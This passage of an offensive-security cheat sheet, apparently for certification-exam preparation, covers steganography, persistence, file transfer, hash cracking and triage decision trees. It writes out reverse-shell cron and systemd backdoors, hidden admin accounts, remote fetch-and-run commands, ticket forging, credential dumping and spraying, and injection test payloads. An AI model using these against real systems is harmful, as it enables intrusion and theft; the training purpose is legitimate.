strings image.jpg | head -50

binwalk — Find embedded files

Scan for hidden files inside images, firmware, binaries

binwalk image.png
binwalk -e image.png         # Extract embedded files
binwalk --dd='.*' image.png  # Extract everything
Example Output
DECIMAL       HEXADECIMAL     DESCRIPTION
0             0x0             PNG image, 800 x 600
45678         0xB26E          Zip archive data

steghide — Extract from JPEG/BMP

Most common stego tool — Password may be blank or guessable

steghide info image.jpg
steghide extract -sf image.jpg
steghide extract -sf image.jpg -p ""          # Empty password
steghide extract -sf image.jpg -p "password"  # Known password

stegseek — Brute force steghide passwords

Extremely fast steghide cracker — Tries rockyou in seconds

stegseek image.jpg /usr/share/wordlists/rockyou.txt
stegseek image.jpg wordlist.txt
Example Output
[i] Found passphrase: "letmein"
[i] Original filename: "secret.txt"
[i] Extracting to "image.jpg.out"

zsteg — PNG/BMP analysis

Detect LSB steganography and other techniques in PNG/BMP

zsteg image.png
zsteg -a image.png   # Try all methods
zsteg -e "b1,rgb,lsb,xy" image.png  # Extract specific channel

Check for hidden text in images

Strings and hex analysis — Sometimes it's just appended text

strings image.jpg | grep -i "flag\|password\|key\|secret"
xxd image.jpg | tail -20
# Check if file is larger than expected for its dimensions

Check file type vs extension

File might be disguised — Extension doesn't match content

file suspicious_file.jpg
# "suspicious_file.jpg: ASCII text" = not actually a JPEG
# Rename and open as correct type

Stego in audio files

Hidden data in WAV/MP3 — Use sonic-visualiser or audacity

# Spectrogram analysis:
# Open in Audacity → Analyze → Spectrogram
# Hidden messages often visible in spectrogram view

# For WAV files:
steghide extract -sf audio.wav
strings audio.wav | grep -i flag

Common stego workflow

Systematic approach — Don't skip steps

1. file <file>                    → Verify actual file type
2. exiftool <file>                → Check metadata/comments
3. strings <file> | grep -i flag  → Quick string search
4. binwalk -e <file>              → Extract embedded files
5. steghide extract -sf <file>    → Try empty password
6. stegseek <file> rockyou.txt    → Brute force password
7. zsteg <file>                   → LSB analysis (PNG/BMP)
8. Check file size                → Unusually large = hidden data

Persistence Techniques

Maintaining access after initial compromise. Critical for AD sets where you pivot across machines.


LINUX PERSISTENCE

SSH key backdoor

Add your SSH key to a user — Survive password changes and reboots

# Generate key on attacker:
ssh-keygen -f backdoor_key -t rsa -N ""

# On target (as root or target user):
mkdir -p /home/user/.ssh
echo "ssh-rsa AAAA... your_key" >> /home/user/.ssh/authorized_keys
chmod 700 /home/user/.ssh
chmod 600 /home/user/.ssh/authorized_keys

# Connect:
ssh -i backdoor_key user@$IP

Cron job backdoor

Schedule a reverse shell — Reconnects every minute

# As root:
(crontab -l; echo "* * * * * bash -i >& /dev/tcp/$LHOST/4444 0>&1") | crontab -

# Or write to cron directory:
echo '* * * * * root bash -i >& /dev/tcp/$LHOST/4444 0>&1' > /etc/cron.d/backdoor

SUID bash backdoor

Copy bash with SUID bit — Instant root anytime

# As root:
cp /bin/bash /tmp/.backdoor
chmod +s /tmp/.backdoor

# Later (as any user):
/tmp/.backdoor -p
# -p preserves SUID = root shell

Add user with root privileges

Create a backup admin account — Last resort persistence

# Add user with UID 0:
echo 'backdoor:$(openssl passwd -1 password123):0:0::/root:/bin/bash' >> /etc/passwd

# Or with useradd:
useradd -ou 0 -g 0 -M -d /root -s /bin/bash backdoor
echo "backdoor:password123" | chpasswd

Modify existing service

Backdoor an init script or systemd service — Runs on boot

# Systemd:
cat > /etc/systemd/system/backdoor.service << UNIT
[Unit]
Description=System Monitor
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
UNIT
systemctl enable backdoor.service
systemctl start backdoor.service

WINDOWS PERSISTENCE

Registry Run Keys

Execute payload on user login — Survives reboots

# Current user:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\shell.exe"

# All users (needs admin):
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\shell.exe"

Scheduled task persistence

Create task that runs on login or at interval — Runs as SYSTEM

schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\shell.exe" /sc onlogon /ru SYSTEM
schtasks /create /tn "SystemCheck" /tr "C:\Windows\Temp\shell.exe" /sc minute /mo 5 /ru SYSTEM

New local admin user

Create a hidden admin account — Quick re-entry

net user backdoor Password123! /add
net localgroup Administrators backdoor /add

# Hide from login screen (optional):
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0

RDP enable

Turn on RDP for persistent GUI access — If not already enabled

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
# Connect: xfreerdp /u:user /p:pass /v:$IP

WinRM enable

Enable WinRM for persistent shell access — PowerShell remoting

Enable-PSRemoting -Force
winrm quickconfig -q
# Connect: evil-winrm -i $IP -u user -p 'password'

AD PERSISTENCE

Golden Ticket

Forge TGT with krbtgt hash — Persist as any user indefinitely

# After DCSync:
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain domain.local administrator
# Valid for 10 years by default

DCSync for all hashes

Dump every hash in the domain — Can re-compromise anything

impacket-secretsdump domain.local/admin:'Password1'@$DC_IP
# Save output — these hashes let you PtH to any machine

Add user to Domain Admins

Direct group manipulation — If you have the rights

net group "Domain Admins" backdoor /add /domain
# Or with PowerView:
Add-DomainGroupMember -Identity "Domain Admins" -Members "backdoor"

Silver Ticket for specific service

Forge service ticket — Access one service indefinitely

# Useful when you need persistent access to one machine's CIFS/HTTP/etc
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... -domain domain.local -spn cifs/target.domain.local administrator

WHEN TO USE PERSISTENCE

Engagement Scenario → Persistence Method
─────────────────────────────────────────
Single Linux box      → SSH key + SUID bash
Single Windows box    → Scheduled task + new admin user
AD: Need to pivot     → Add creds to multiple machines
AD: Post-DA           → Golden Ticket + DCSync dump
Exam: AD set          → Keep creds documented, WinRM/RDP enabled

Quick Reference

Wordlists, file transfer methods, and hash cracking cheat sheet.


WORDLISTS

Directory brute forcing

Go-to wordlist for gobuster, feroxbuster, ffuf — 220k entries

gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Password cracking

Standard password wordlist — 14 million entries

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

Alternative directory list

Catches paths that dirbuster misses — 30k entries

gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

Subdomain / vhost scanning

Top subdomains for vhost discovery — 5k entries

gobuster vhost -u http://domain.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
gobuster dns -d domain.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Username enumeration

Common first names as usernames — 10k entries

smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t $IP
hydra -L /usr/share/seclists/Usernames/Names/names.txt -p 'Password1' $IP ssh

SNMP community strings

Brute force SNMP community strings

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $IP

Install SecLists

Massive collection of wordlists — Discovery, Fuzzing, Passwords, Usernames

sudo apt install seclists -y
ls /usr/share/seclists/

FILE TRANSFER METHODS

Host files on attacker (HTTP)

Start a web server in your current directory — Most common transfer method

python3 -m http.server 80

Download to Linux target

wget or curl — Try both if one isn't available

wget http://$LHOST/linpeas.sh -O /tmp/linpeas.sh
curl http://$LHOST/chisel -o /tmp/chisel

Download to Windows target (certutil)

Built into every Windows version — Rarely blocked

certutil -urlcache -split -f http://$LHOST/shell.exe C:\Temp\shell.exe

Download to Windows target (PowerShell)

Multiple methods — Try next one if blocked

Invoke-WebRequest -Uri http://$LHOST/shell.exe -OutFile C:\Temp\shell.exe
(New-Object Net.WebClient).DownloadFile('http://$LHOST/shell.exe','C:\Temp\shell.exe')
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')

Host files on attacker (SMB)

When HTTP is blocked on target — Works great for Windows

# On attacker:
impacket-smbserver share . -smb2support

# On Windows target:
copy \\$LHOST\share\mimikatz.exe C:\Temp\

Netcat file transfer

Raw TCP — When nothing else works

# On attacker (send):
nc -nlvp 4444 < linpeas.sh

# On target (receive):
nc $LHOST 4444 > /tmp/linpeas.sh

Base64 encode/decode

Copy-paste through the terminal — When all transfers are blocked

# On attacker (encode):
base64 -w 0 file.bin

# On target (decode):
echo 'BASE64STRING' | base64 -d > file.bin

HASH CRACKING

Identify hash type

Always identify before cracking — Determines hashcat mode

hashid '$6$rounds=5000$salt$hash'
hash-identifier
Common Hash Formats
MD5:        32 hex chars              → hashcat -m 0
SHA1:       40 hex chars              → hashcat -m 100
SHA256:     64 hex chars              → hashcat -m 1400
SHA512:     128 hex chars             → hashcat -m 1800 (if $6$ prefix)
NTLM:       32 hex chars (no salt)    → hashcat -m 1000
NTLMv2:     user::domain:challenge... → hashcat -m 5600
bcrypt:     $2a$ or $2y$ prefix       → hashcat -m 3200
Kerberoast: $krb5tgs$23$*...          → hashcat -m 13100
AS-REP:     $krb5asrep$23$...         → hashcat -m 18200
md5crypt:   $1$ prefix                → hashcat -m 500
sha512crypt:$6$ prefix                → hashcat -m 1800

John the Ripper

Auto-detects hash type — Good general purpose cracker

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt

Hashcat — MD5

Mode 0 — Fastest hash to crack

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

Hashcat — SHA256

Mode 1400

hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt

Hashcat — NTLM

Mode 1000 — Windows local password hashes, very fast

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

Hashcat — NTLMv2

Mode 5600 — Captured from Responder or network sniffing

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Hashcat — bcrypt

Mode 3200 — Very slow, use rules instead of full wordlist

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Hashcat — Kerberoast (TGS-REP)

Mode 13100 — Cracking Kerberoasted service account hashes

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Hashcat — AS-REP Roast

Mode 18200 — Cracking AS-REP hashes from accounts without pre-auth

hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

Online hash lookup

Instant results for common hashes — Only for non-sensitive/CTF hashes

# Paste hash at:
# https://crackstation.net/
# https://hashes.com/en/decrypt/hash

⚡ Speed Hacks

Parallel scanning, one-liner chains, and tricks to cut enumeration time in half.


PARALLEL SCANNING - Run these simultaneously in separate terminals

Rustscan all TCP ports ~10 min vs nmap full

Phase 0 (Immediate) — Scans all 65535 in seconds, then runs nmap scripts on open ports

rustscan -a $IP -- -sC -sV -oN rustscan.txt
Example Output
Open 10.10.10.5:22,80,445,8080
nmap scan on 4 ports...

Quick nmap while rustscan runs Redundancy

Phase 0 (Immediate) — Backup scan in case rustscan misses filtered ports

nmap -sC -sV -p- --min-rate 5000 $IP -oN full_tcp.txt
Example Output
Use --min-rate 5000 for speed
Still catches filtered ports rustscan may miss

UDP top 20 (background) Runs while you work

Phase 0 (Immediate) — Run in background with &, check later. SNMP/TFTP/DNS are common wins

nmap -sU --top-ports 20 --min-rate 5000 $IP -oN udp.txt &
Example Output
53/udp open  domain
161/udp open  snmp
(Check these immediately)

Parallel service enum 50% faster overall

Phase 1 (After ports) — Never enumerate one service at a time. Always have 2-3 terminals running different services

# Terminal 1: web enum
gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html -t 50 -o dirs.txt

# Terminal 2: SMB enum
enum4linux -a $IP | tee smb.txt

# Terminal 3: check exploits
searchsploit <service versions>
Example Output
While gobuster runs:
- Read SMB shares
- Research CVEs
- Check other ports

Auto-scope gobuster to tech stack ~5 min per scan

Phase 1 — Wrong extensions = wasted scan time. Check tech stack FIRST with whatweb or headers

# PHP site:
gobuster dir -x php,php.bak,txt,html,conf

# ASP/IIS site:
gobuster dir -x asp,aspx,config,txt,html

# Java site:
gobuster dir -x jsp,do,action,xml,properties
Example Output
whatweb says PHP/Apache:
Only use php,txt,html extensions
Don't waste time on asp,aspx

Immediate credential check Prevents hours of unnecessary enum

Phase 1 — The SECOND you find any credential, spray it everywhere before doing anything else

# Run against ALL services with found creds
crackmapexec smb $IP -u found_user -p found_pass
crackmapexec winrm $IP -u found_user -p found_pass
crackmapexec ssh $IP -u found_user -p found_pass
smbclient -L //$IP -U found_user%found_pass
Example Output
Found admin:admin on FTP
Try on SSH -> WORKS!
(Skip the web app entirely)

ONE-LINER CHAINS - Copy-paste enum scripts (replace $IP)

Initial recon chain ~8 min for full picture

Full auto-enum — Kick off everything at once. Review tcp.txt output first

export IP=10.10.10.5 && mkdir -p loot && rustscan -a $IP -- -sC -sV -oN loot/tcp.txt & nmap -sU --top-ports 20 $IP -oN loot/udp.txt & whatweb http://$IP | tee loot/whatweb.txt
Example Output
Creates loot/ directory
All 3 scans run in parallel
Check tcp.txt first when done

Web recon chain ~3 min vs manual

Web auto-enum — Gets robots, sitemap, headers, and starts gobuster in one paste

export URL=http://10.10.10.5 && curl -s $URL/robots.txt; curl -s $URL/sitemap.xml; curl -sI $URL | grep -i 'server\|x-powered\|set-cookie'; gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt -t 50 -q -o loot/dirs.txt &
Example Output
robots.txt: /admin/ /backup/
Server: Apache/2.4.29
X-Powered-By: PHP/7.2
(gobuster running in background)

SMB full chain ~2 min vs manual

SMB auto-enum — One paste gets null session, users, shares, and permissions

export IP=10.10.10.5 && echo '=== NULL SESSION ===' && smbclient -L //$IP -N 2>/dev/null && echo '=== ENUM4LINUX ===' && enum4linux -a $IP 2>/dev/null | grep -E 'user:|share:|password|group' && echo '=== SHARES ===' && smbmap -H $IP
Example Output
=== NULL SESSION ===
Backups, Users, ADMIN$
=== ENUM4LINUX ===
user:[john] user:[admin]
=== SHARES ===
Backups READ

Spray creds everywhere ~1 min vs manual per-service

Cred spray — Change U and P vars, paste once to test everywhere

export IP=10.10.10.5 U=admin P=Password1 && crackmapexec smb $IP -u $U -p $P && crackmapexec winrm $IP -u $U -p $P && crackmapexec ssh $IP -u $U -p $P && crackmapexec mssql $IP -u $U -p $P && crackmapexec ftp $IP -u $U -p $P 2>/dev/null
Example Output
SMB  [+] admin:Password1
WINRM [+] admin:Password1 (Pwn3d!)
SSH  [-] admin:Password1
(WinRM works! Use evil-winrm)

Linux enum chain ~30 sec vs 5 min manual

Linux privesc — Run before linPEAS for quick manual check. Covers the top 5 privesc vectors in seconds

echo '=== SUDO ===' && sudo -l 2>/dev/null; echo '=== SUID ===' && find / -perm -4000 -type f 2>/dev/null; echo '=== CRON ===' && cat /etc/crontab 2>/dev/null; ls -la /etc/cron.* 2>/dev/null; echo '=== CAPS ===' && getcap -r / 2>/dev/null; echo '=== WRITABLE ===' && find / -writable -type f -not -path '/proc/*' -not -path '/sys/*' 2>/dev/null | head -20
Example Output
=== SUDO ===
(root) NOPASSWD: /usr/bin/vim
=== SUID ===
/usr/bin/pkexec
(Stop here - you have sudo vim!)

Windows enum chain ~30 sec

Windows privesc — Quick manual check before winPEAS. Catches SeImpersonate, saved creds, AlwaysInstallElevated

whoami /priv & whoami /groups & systeminfo | findstr /B /C:"OS" /C:"System" /C:"Hotfix" & netstat -ano | findstr LISTEN & cmdkey /list & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
Example Output
SeImpersonatePrivilege Enabled
-> Immediate potato attack
(Skip winPEAS, go straight to PrintSpoofer)

AD initial chain ~1 min

AD quick wins — First things to run with any domain credentials

echo '=== DOMAIN ===' && echo %userdomain% && echo '=== DC ===' && nltest /dclist:%userdomain% && echo '=== USERS ===' && net user /domain && echo '=== ADMINS ===' && net group 'Domain Admins' /domain && echo '=== POLICY ===' && net accounts /domain
Example Output
Domain: CORP
DC: DC01.corp.local
Domain Admins: administrator, john.smith
Lockout threshold: 5

PTH spray entire subnet ~2 min vs per-host

Hash spray subnet — After getting admin hash, immediately check entire subnet

crackmapexec smb 10.10.10.0/24 -u administrator -H $HASH --continue-on-success | grep 'Pwn3d'
Example Output
10.10.10.5  DC01  (Pwn3d!)
10.10.10.20 WEB01 (Pwn3d!)
10.10.10.21 DB01  (Pwn3d!)

SMART WORDLIST SELECTION - Don't always use the biggest list

Quick first pass (30 sec) ~30 sec

Wordlists — 4600 entries. Catches /admin, /uploads, /backup, /config. Run this FIRST always

gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt -t 50
Example Output
/admin (200)
/uploads (301)
/config.php.bak (200)
(Found config backup in 30 seconds)

Medium pass if quick fails ~5 min

Wordlists — 30000 entries. Only run if common.txt found nothing

gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt -t 50
Example Output
Run only after common.txt
finds nothing interesting

Custom wordlist from site N/A

Wordlists — Generate wordlist FROM the site. Great for password brute force and hidden dirs

cewl http://$IP -w loot/custom_wordlist.txt -d 2 -m 5
Example Output
Generated 342 words from site
Includes: company names, employee names
Use for hydra brute force too

Username derivation ~2 min

Wordlists — Check naming convention first: try one format, if it works on SMTP/LDAP, use that format for all

Found users: John Smith, Jane Doe on website
Create users.txt:
john.smith
j.smith
jsmith
john
smith.j
jane.doe
j.doe
jdoe
jane
Example Output
smtp-user-enum -M VRFY shows:
john.smith VALID
jsmith INVALID
(Use firstname.lastname format)

SHORTCUTS & TRICKS - Things people forget

Check all HTTP ports Prevents missed foothold

Trick — Many people only check 80/443 and miss the actual attack surface

Always browse EVERY open port in a browser. Even weird ports like 5000, 8080, 8443, 9090 often host web apps
Example Output
nmap shows: 80, 5000, 8443
Port 80: default Apache page
Port 5000: Flask app with login
Port 8443: Jenkins (default creds!)

Screenshot tool for many ports ~5 min for 10+ ports

Trick — Auto-screenshot every HTTP service. Visual triage is 10x faster than curl'ing each one

gowitness nmap -f loot/tcp.txt --open
OR: eyewitness --no-prompt -f urls.txt
Example Output
Screenshots saved to report/
Quick scroll reveals:
- Default pages (skip)
- Login pages (try defaults)
- Custom apps (enumerate)

Source code ALWAYS ~30 sec per page

Trick — Comments with creds are more common than you think. Check source before running any tools

On EVERY web page: Ctrl+U -> search for:
<!-- (comments)
password
admin
token
secret
api
hidden
TODO
BUG
Example Output
<!-- Debug: admin/admin123 -->
<!-- TODO: remove test account -->
<input type='hidden' name='role' value='user'>

Check for virtual hosting first Prevents missed content

Trick — If the box has a hostname, ALWAYS add it to /etc/hosts and browse again. Different site = different attack surface

curl -s http://$IP vs curl -s -H 'Host: hostname.htb' http://$IP
If different content: virtual hosting
Example Output
http://10.10.10.5 -> Apache default
http://target.htb -> Custom web app
(Entire app was hidden behind vhost)

Nmap script scan targeted ~2 min

Trick — Targeted vuln scripts are faster than -sC and find things like EternalBlue, Shellshock automatically

nmap --script 'vuln and safe' -p $PORTS $IP
OR per-service:
nmap --script smb-vuln* -p 445 $IP
nmap --script http-vuln* -p 80 $IP
Example Output
| smb-vuln-ms17-010: VULNERABLE
(Instant win - no further enum needed)

Check searchsploit EXACT version ~30 sec

Trick — Use exact version string. If no results, broaden one number at a time

searchsploit apache 2.4.49
NOT: searchsploit apache (too broad)
NOT: searchsploit apache 2 (too many results)
Example Output
Apache 2.4.49 - Path Traversal (CVE-2021-41773)
Exactly 1 result = likely the intended path

Test credentials immediately Potentially hours

Trick — Password reuse is the #1 easy win. Every minute spent enumerating after finding creds could be wasted

Found creds on ANY service? Stop everything.
Test on: SSH, WinRM, SMB, RDP, web login, FTP, MSSQL, MySQL
Do this BEFORE continuing enum
Example Output
Found db_user:DBp@ss in config.php
SSH: FAILED
SMB: WORKS! -> shell as db_user
(Skipped entire web exploitation path)

Quick LFI/SQLi test on every param ~30 sec per param

Trick — Takes 30 seconds per parameter. Test ALL params including POST data, cookies, headers

For EVERY parameter you see in URLs:
?id=1' (SQLi test)
?page=../../../../etc/passwd (LFI test)
?search=<script>alert(1)</script> (XSS test)
?cmd=;id (command injection test)
Example Output
http://target/page.php?lang=en
Try: ?lang=../../../../etc/passwd
Result: root:x:0:0:root...
(LFI in a param you'd never fuzz)

🌳 Decision Trees

When to move on, when to go back, and how to avoid wasting time.


SERVICE PRIORITY ORDER - Enumerate in this order, not randomly

HTTP/HTTPS (80/443/8080/8443) ⏱ 60 min max

Phase: Tier 1 HIGH PRIORITY

If YES: Web apps are the #1 foothold vector. Check: source, dirs, params, login pages, CMS, known CVEs, file upload, SQLi, LFI

If NO: If nothing after 60 min: move to Tier 2. Come back with new info (creds, usernames)

⚠️ Bail Signal: 60 min on web with nothing = move on. You're probably missing a vhost, param, or need creds from another service


SMB (445) ⏱ 20 min max

Phase: Tier 1 HIGH PRIORITY

If YES: Null sessions, share access, known vulns (EternalBlue), user enumeration. Instant wins are common here

If NO: If no null session and no creds: move on. Come back after finding creds on other services

⚠️ Bail Signal: No null session + no creds = nothing more to do here until you have creds


Active Directory services (LDAP/Kerberos) ⏱ 30 min max

Phase: Tier 1 HIGH PRIORITY

If YES: Anonymous LDAP bind, AS-REP roasting (no creds needed), user enumeration. Kerberoast once you have ANY cred

If NO: Need at least 1 credential to go further. Get creds from other services first

⚠️ Bail Signal: No anonymous bind + no creds = come back later


FTP (21) ⏱ 10 min max

Phase: Tier 2 MEDIUM

If YES: Anonymous login? YES = download everything. Known version exploit? Check searchsploit

If NO: No anon + no exploit = skip entirely. Come back only if you find creds

⚠️ Bail Signal: 10 minutes max. FTP is either instant win or nothing


SSH (22) ⏱ 5 min max

Phase: Tier 2 MEDIUM

If YES: Banner grab for version. Try found creds. NEVER brute force SSH without a good username

If NO: Note version, move on. SSH is almost never the initial foothold

⚠️ Bail Signal: Don't brute force SSH as your first move. It's almost always a cred reuse entry


MSSQL/MySQL (1433/3306) ⏱ 15 min max

Phase: Tier 2 MEDIUM

If YES: Default creds (sa:sa, root:root). If access: enum databases, read files, xp_cmdshell

If NO: No creds = move on. Come back with found credentials

⚠️ Bail Signal: No default creds = can't do anything without creds


NFS (2049) ⏱ 10 min max

Phase: Tier 2 MEDIUM

If YES: showmount -> mount shares -> check for SSH keys, configs, no_root_squash

If NO: No exports or nothing readable = skip

⚠️ Bail Signal: Very quick to check. Either useful or not


SNMP (161 UDP) ⏱ 10 min max

Phase: Tier 3 LOW

If YES: Community string brute -> full walk. Can reveal: users, processes, passwords in command lines

If NO: No valid community string = skip

⚠️ Bail Signal: Only useful if you get a valid community string


SMTP (25) ⏱ 10 min max

Phase: Tier 3 LOW

If YES: User enumeration only. Collect valid usernames for brute force on other services

If NO: If VRFY disabled = try RCPT TO. If nothing works = skip

⚠️ Bail Signal: You're only here for usernames, not exploitation


RDP (3389) ⏱ 5 min max

Phase: Tier 3 LOW

If YES: BlueKeep check. Try found creds. PTH if you have NTLM hashes

If NO: Note it exists, move on. RDP is an entry point, not a foothold

⚠️ Bail Signal: RDP = use after you have creds, not for initial access


PHASE DECISION POINTS - When to advance, when to go back

Ports found? ⏱ 15 min

Phase: Scanning

If YES: Enumerate services in priority order above

If NO: Re-scan: try different speed, try from VPN, check if host is up

⚠️ Bail Signal: If 2 scans show nothing = wrong target or host is down


Found creds anywhere? ⏱ 45 min total

Phase: Enumeration

If YES: STOP enumeration. Spray creds on EVERY service immediately. This is your #1 priority

If NO: Keep enumerating. Check source code, config files, SNMP, NFS shares, default creds

⚠️ Bail Signal: 45 min with zero creds = you missed something. Go back to basics: source code, robots.txt, UDP


Found a username but no password? ⏱ 15 min

Phase: Enumeration

If YES: Try: password = username, company name + year (Corp2024!), Season + year (Winter2024), basic combos (Password1, Welcome1)

If NO: AS-REP roast the user (no password needed). Check if account has Kerberos pre-auth disabled

⚠️ Bail Signal: Never brute force without a good username. Hydra on SSH with 'admin' is almost always a waste


Found exploit for service version? ⏱ 20 min

Phase: Enumeration

If YES: Try the exploit. Read the code first. Check if it needs auth. Modify target IP/port

If NO: Is it the right version? Check exact version match. Try other exploits for similar versions

⚠️ Bail Signal: 20 min on one exploit = try a different approach. Read exploit code for clues about the vulnerability


Found login page? ⏱ 20 min

Phase: Web App

If YES:

  1. Default creds (admin:admin, admin:password)
  2. SQLi bypass (admin'-- -)
  3. Check for registration
  4. Brute force ONLY with known usernames

If NO: Look for other entry points: file upload, API endpoints, hidden params, different vhosts

⚠️ Bail Signal: 20 min on login with no creds = find creds elsewhere first. Don't blind brute force


Found file upload? ⏱ 20 min

Phase: Web App

If YES: Try: PHP shell, extension bypasses (.phtml, .php5, double ext), magic bytes, .htaccess

If NO: If all blocked: look for other vectors. Upload might be a rabbit hole if heavily filtered

⚠️ Bail Signal: If 5+ bypass attempts fail = probably not the intended path


Found LFI? ⏱ 30 min

Phase: Web App

If YES:

  1. Read /etc/passwd for users
  2. Read config files for creds
  3. Read SSH keys
  4. Try log poisoning for RCE
  5. Try PHP wrappers

If NO: Confirmed LFI but can't get RCE from it? Use it for information gathering (configs, users) and pivot to another vector

⚠️ Bail Signal: LFI without RCE is still valuable for reading files. Don't spend 2 hours trying log poisoning if it's not working


Got shell but stuck on privesc? ⏱ 45 min

Phase: Foothold

If YES: Run linPEAS/winPEAS. Check: sudo -l, SUID, cron, capabilities, groups, config files, history, internal services

If NO: Transfer and run automated tools. Check for kernel exploits. Look for other users to pivot to

⚠️ Bail Signal: 45 min stuck = you missed something in enum. Re-read linPEAS output line by line. Check internal ports with netstat


Got 1 domain credential? ⏱ 30 min

Phase: AD

If YES: Immediately: BloodHound, Kerberoast, check shares, spray on subnet, check admin access everywhere

If NO: AS-REP roast, LDAP anonymous bind, SNMP for users, password spray with common passwords

⚠️ Bail Signal: 1 domain cred unlocks massive attack surface. If stuck, re-run BloodHound queries


Been stuck for 30+ min? ⏱ Immediate

Phase: Stuck

If YES: ROTATE to a different machine or different service. Fresh eyes fix 80% of 'stuck' situations. Take a 5 min break, re-read your notes

If NO: If you've rotated through everything: re-enumerate from scratch. Something was missed in initial scan

⚠️ Bail Signal: The answer is almost ALWAYS in enumeration, not exploitation. Go back to enum


EXAM TIME MANAGEMENT - 23h45m strategy

Scan ALL machines ⏱ 1 hour

Phase: Hour 0-1

If YES: Run full TCP + UDP on every target simultaneously. While scans run: read exam guide, set up notes template, organize terminals

If NO: If scans haven't finished: start enumerating services that ARE showing up. Don't wait

⚠️ Bail Signal: Scan ALL boxes first before deep-diving any single one


AD set: initial foothold ⏱ 2 hours

Phase: Hour 1-3

If YES: AD set is worth 40 points (most). Get initial foothold on AD. Enumerate domain once inside

If NO: If stuck after 2 hours: switch to standalone machines. Come back to AD with fresh eyes

⚠️ Bail Signal: AD requires 3 machines (foothold + privesc + DC). Get the first one and keep going


Standalone machine 1 ⏱ 2 hours

Phase: Hour 3-5

If YES: Get foothold + privesc on easiest standalone. Take screenshots for report as you go

If NO: Stuck? Switch to other standalone. Mark where you got stuck in notes

⚠️ Bail Signal: 2 hours max per standalone. Rotate if stuck


Standalone machine 2 + AD progress ⏱ 2 hours

Phase: Hour 5-7

If YES: Work second standalone or continue AD chain

If NO: Rotate between what's available

⚠️ Bail Signal: By hour 7 you should have ~40-50 points minimum


Fill gaps ⏱ Remaining

Phase: Hour 7+

If YES: Go back to machines where you got stuck. Try new approaches with info gathered from other boxes

If NO: If close to passing (70pts): focus on report quality not more flags

⚠️ Bail Signal: You need 70 points to pass. Calculate what you have and what you need


Take breaks every 2 hours ⏱ 15 min each

Phase: CRITICAL

If YES: Step away from screen. Eat. Drink water. Walk around. Your brain processes problems in the background

If NO: Skipping breaks = diminishing returns after hour 4. You WILL miss things when tired

⚠️ Bail Signal: Breaks are not optional. They are strategic


Screenshot EVERYTHING ⏱ Ongoing

Phase: CRITICAL

If YES: For EVERY flag: whoami + ipconfig/ip a + flag content in same terminal screenshot

If NO: Missing screenshots = lost points even with correct flags

⚠️ Bail Signal: proof.txt + whoami + ifconfig in ONE screenshot


🕳️ Rabbit Hole Warnings

Common traps and false positives that waste hours on pentesting engagements and exams.


COMMON RABBIT HOLES - Patterns that waste time on pentests and exams

Brute forcing SSH without valid usernames 🕐 1-3 hours

SSH — SSH brute force is extremely slow and almost never the intended path. SSH is 99% of the time a 'use found creds here' entry point

Do this instead: Find usernames from other services first (SMTP enum, web app, SMB, SNMP). Only brute force SSH with a confirmed valid username

🚩 Red flag: You're running hydra on SSH with 'admin' or a huge username list as your first move


Trying SSH exploits on modern versions 🕐 30-60 min

SSH — OpenSSH 7.6+ is almost never exploitable. User enumeration (CVE-2018-15473) only works on 7.2-7.7

Do this instead: Note the version, move on. SSH is for credential reuse, not exploitation on most engagements

🚩 Red flag: Spending 30+ min searching for SSH exploits on OpenSSH 8.x


Running huge wordlists on gobuster 🕐 15-30 min

Web — directory-list-2.3-medium has 220k entries. Running it with 5 extensions = 1.1M requests. Takes 20+ min and you're just waiting

Do this instead: Start with common.txt (4600 entries). Only escalate to medium if common finds nothing. Use raft-medium-directories not dirbuster

🚩 Red flag: You've been watching gobuster scroll for 15 min and found nothing beyond what common.txt would find


Deep fuzzing every parameter 🕐 30-60 min

Web — ffuf with huge wordlists on every parameter hoping to find hidden values. Most parameters just take their expected input

Do this instead: Quick manual test (5 values) on each param. Focus on params that affect page behavior (id=, page=, file=, lang=, user=)

🚩 Red flag: You're fuzzing a 'sort=asc/desc' parameter with 10k values


